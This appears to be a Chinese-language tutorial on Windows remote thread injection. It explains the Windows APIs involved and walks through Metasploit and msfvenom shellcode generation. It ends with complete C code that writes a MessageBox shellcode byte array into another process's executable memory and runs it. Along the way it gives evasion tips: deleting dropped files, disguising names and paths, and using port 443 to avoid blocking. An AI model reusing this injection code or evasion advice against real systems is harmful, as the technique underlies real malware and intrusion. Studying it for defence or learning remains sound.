windows线程注入
常见问题
shellcode是什么?
shellcode:本质上也是一段普通的代码,只不过特殊的编程手法,可以在任意环境下,不依赖于原有的依赖库执行。
为什么需要远程线程?
远程线程的核心价值在于跨进程操作,典型场景包括:
DLL 注入:通过在目标进程中创建远程线程,调用
LoadLibraryA
加载指定 DLL,使 DLL 代码在目标进程中执行(这是最常见的用途)。远程代码执行:将自定义 shellcode 注入目标进程,通过远程线程执行,实现对目标进程的控制(如获取信息、执行命令等)。
进程监控与调试:在目标进程中创建线程,用于监控其运行状态或调试特定功能。
线程远程注入
创建远程线程
#include <iostream> #include <windows.h> //Windows API 相关的函数 #include <TlHelp32.h> //进程和线程快照 int main(){HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,19328);//创建在另一个进程的虚拟地址空间中运行的线程//跨进程创建线程CreateRemoteThread(hProcess,NULL,NULL,)system("pause");return 0; }
OpenProcess
是 Windows API 函数,用于获取一个进程的句柄 第一个参数PROCESS_ALL_ACCESS
表示请求该进程的所有访问权限(这是一个非常高的权限,通常需要管理员权限) 第二个参数FALSE
表示不继承该句柄 第三个参数19328
是要打开的进程的 ID(PID) 函数返回值hProcess
是打开的进程句柄,如果为NULL
或INVALID_HANDLE_VALUE
则表示操作失败
CreateRemoteThread
用于在目标进程(由hProcess
句柄指定)中创建新线程的核心函数
使用msf生成shellcode
msfconsole
search MessageBox use 2 show options
一个命令行 (cmd) 类型的 payload
使用 HTTPS 协议
功能是弹出消息框 (messagebox)
HTTPS Fetch, Windows MessageBox x64
:payload 的描述,说明它通过 HTTPS 获取内容,并在 64 位 Windows 系统上弹出消息框
参数名 当前设置 是否必填 含义与配置说明 EXITFUNC
process
是 退出技术,控制 payload 执行完毕后如何退出。 可选值: seh
(SEH 异常)、thread
(线程)、process
(进程,默认)、none
(不退出)。 建议:保持默认process
即可,确保执行后正常退出。FETCH_CHECK_CERT
false
是 是否检查 SSL 证书有效性。 false
(默认):不验证证书(适合测试,避免自签证书被拒绝);true
:严格验证证书(生产环境需开启,增强安全性)。FETCH_COMMAND
CURL
是 用于获取 payload 的命令工具。 可选值: CURL
(默认,用 curl 下载)、TFTP
(用 tftp 下载)、CERTUTIL
(用 Windows 自带 certutil 工具下载)。 建议:根据目标系统环境选择,CURL
兼容性较好,若目标无 curl 则选CERTUTIL
。FETCH_DELETE
false
是 执行后是否删除远程系统上的 payload 文件。 false
(默认):保留文件;true
:执行后删除(减少痕迹,适合隐蔽测试)。FETCH_FILENAME
iGXSiBEfUQc
否 payload 在远程系统上存储的文件名(默认随机生成)。 要求:不能包含空格或斜杠,建议自定义为无特征的名称(如 tmp123.exe
)。FETCH_SRVHOST
未设置 是 本地服务 IP(即攻击机 IP),用于向目标系统提供 payload。 必须设置:需填写攻击机的实际 IP(如 192.168.1.100
),确保目标能访问。FETCH_SRVPORT
8080
是 本地服务端口,用于传输 payload。 默认 8080
,可修改为其他端口(如443
,模拟 HTTPS 默认端口,降低被拦截概率)。FETCH_URIPATH
未设置 否 本地服务的 URI 路径(如 /payload
),默认随机生成。 可选设置:自定义路径(如/update
),增强伪装性。FETCH_WRITABLE_DIR
%TEMP%
是 远程系统上存储 payload 的可写目录。 默认 %TEMP%
(Windows 临时目录,普遍可写),不可包含空格,若目标%TEMP%
受限,可改为C:\Windows\Temp
。ICON
NO
是 消息框的图标类型。 可选值: NO
(无图标,默认)、ERROR
(错误图标)、INFORMATION
(信息图标)、WARNING
(警告图标)、QUESTION
(问号图标)。TEXT
Hello, from MSF!
是 消息框显示的文本内容。 可自定义为任意字符串(如 Test Success!
),用于标识测试结果。TITLE
MessageBox
是 消息框的标题。 可自定义(如 System Alert
),建议伪装成系统相关标题以降低警惕。
另外打开一个终端: msfvenom -p windows/messagebox TEXT=hello -f c msfvenom -p windows/messagebox TEXT=hello -a x64 -f c
使用 msfvenom 生成 Windows 消息框(MessageBox)的 C 语言格式 payload, 会生成一段可在 C 代码中使用的十六进制数组,这段代码执行后会弹出一个内容为 "hello" 的消息框。 回车,shellcode就出来了,复制出来就行了
编写代码
#include <iostream> #include <windows.h> #include <TlHelp32.h> //这里粘贴上复制出来的代码 int main(){//打开进程HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 29020); //在目标进程的地址空间中分配一块内存,远程代码注入LPVOID lpBuffer = VirtualAllocEx(hProcess, NULL, 257, MEM_COMMIT, PAGE_EXECUTE_READWRITE); //跨进程写入内存SIZE_T dwWrittensize = 0;WriteProcessMemory(hProcess,lpBuffer,buf,257,&dwWrittensize);//创建远程线程DWORD ID;CreateRemoteThread(hProcess, //指定进程句柄NULL, //安全属性NULL, //堆栈初始化大小(LPTHREAD_START_ROUTINE)lpBuffer, //函数指针,远程进程中,线程的起始地址NULL, //传递给线程函数的变量指针NULL, //创建标志,这里是立刻执行&ID //接收线程ID的指针);system("pause");return 0; }
VirtualAllocEx
是 Windows API 函数,专门用于在指定进程(由hProcess
句柄标识)中分配内存。与本地内存分配函数
VirtualAlloc
不同,它能跨进程操作
参数位置 参数名 你的代码取值 含义与作用 1 hProcess
已打开的目标进程句柄 指定要在哪个进程中分配内存(必须是通过 OpenProcess
获取的有效句柄,且需包含PROCESS_VM_OPERATION
权限)。2 lpAddress
NULL
希望分配的内存地址: NULL
表示让系统自动选择合适的地址(推荐,避免地址冲突); 若指定具体地址,系统会尝试在该位置分配,失败则返回NULL
。3 dwSize
257
分配的内存大小(字节): 你这里指定了 257 字节,通常用于存放较短的 shellcode 或字符串(如消息框文本)。 注意:实际分配的大小会按系统页大小(通常 4KB)对齐,即至少分配 4096 字节,但 dwSize
仍应设为实际需要的大小。4 flAllocationType
MEM_COMMIT
内存分配类型: MEM_COMMIT
表示分配并提交物理内存(立即可用); 若同时指定MEM_RESERVE
(如MEM_COMMITMEM_RESERVE
),则先保留地址空间再提交(更灵活,适合不确定最终大小的场景)。5 flProtect
PAGE_EXECUTE_READWRITE
内存保护属性(关键参数): PAGE_EXECUTE_READWRITE
表示内存可读、可写、可执行(RWX),适合存放需要执行的 shellcode(因为代码需要执行权限); 其他常见属性:PAGE_READWRITE
(仅读写,不可执行,适合存放数据)、PAGE_EXECUTE
(仅执行,不可写,安全性更高)。
成功:返回分配的内存在目标进程中的起始地址(
LPVOID
类型,即void*
),后续可通过WriteProcessMemory
向该地址写入数据。失败:返回
NULL
,可通过GetLastError()
获取错误码(如ERROR_ACCESS_DENIED
表示权限不足,ERROR_NOT_ENOUGH_MEMORY
表示内存不足)。
#include <iostream> #include <windows.h> #include <TlHelp32.h> unsigned char buf[] = "\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52" "\x30\x8b\x52\x0c\x8b\x52\x14\x31\xff\x8b\x72\x28\x0f\xb7" "\x4a\x26\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" "\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01" "\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x48\x18" "\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34" "\x8b\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75" "\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01" "\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01" "\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58" "\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\xe8\x0b\x00\x00" "\x00\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00\x68\x4c" "\x77\x26\x07\xff\xd5\x6a\x00\xe8\x0b\x00\x00\x00\x4d\x65" "\x73\x73\x61\x67\x65\x42\x6f\x78\x00\xe8\x06\x00\x00\x00" "\x68\x65\x6c\x6c\x6f\x00\x6a\x00\x68\x45\x83\x56\x07\xff" "\xd5\x6a\x00\x68\xf0\xb5\xa2\x56\xff\xd5"; //这里粘贴上复制出来的代码 int main(){//请求了所有权限(PROCESS_ALL_ACCESS)HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 29020); //为 shellcode 准备了 “合法的执行空间”。LPVOID lpBuffer = VirtualAllocEx(hProcess, NULL, 257, MEM_COMMIT, PAGE_EXECUTE_READWRITE); //将 shellcode 写入目标进程的内存(WriteProcessMemory)SIZE_T dwWrittensize = 0;WriteProcessMemory(hProcess,lpBuffer,buf,257,&dwWrittensize);//创建远程线程,执行 shellcode(CreateRemoteThread)DWORD ID;CreateRemoteThread(hProcess, //指定进程句柄NULL, //安全属性NULL, //堆栈初始化大小(LPTHREAD_START_ROUTINE)lpBuffer, //函数指针,远程进程中,线程的起始地址NULL, //传递给线程函数的变量指针NULL, //创建标志,这里是立刻执行&ID //接收线程ID的指针);system("pause");return 0; }